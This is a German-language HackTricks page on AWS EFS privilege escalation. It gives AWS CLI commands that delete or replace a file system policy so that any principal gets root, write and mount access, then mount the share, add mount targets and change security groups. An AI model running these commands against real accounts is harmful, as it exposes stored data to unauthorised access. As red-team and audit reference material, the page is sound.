AWS - EFS Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

EFS

Mehr Info über EFS in:

AWS - EFS Enum

Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugriff darauf haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um Ihnen Zugriff darauf zu gewähren, oder sie einfach löschen, sodass der Standardzugriff gewährt wird.

Um die Richtlinie zu löschen:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Um es zu ändern:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Mit dieser Berechtigung kann ein Angreifer das EFS einbinden. Wenn die Schreibberechtigung standardmäßig nicht allen gewährt wird, die das EFS einbinden können, hat er nur Lesezugriff.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess und elasticfilesystem:ClientWrite können verwendet werden, um in das Dateisystem zu schreiben, nachdem es gemountet wurde, und um auf dieses Dateisystem als root zu zugreifen.

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:CreateMountTarget

Wenn ein Angreifer sich in einem Subnetz befindet, in dem kein Mount-Ziel des EFS existiert, könnte er einfach eins in seinem Subnetz erstellen mit diesem Privileg:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:ModifyMountTargetSecurityGroups

In einem Szenario, in dem ein Angreifer feststellt, dass das EFS einen Mount-Ziel in seinem Subnetz hat, aber keine Sicherheitsgruppe den Verkehr erlaubt, könnte er einfach das ändern, indem er die ausgewählten Sicherheitsgruppen ändert:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks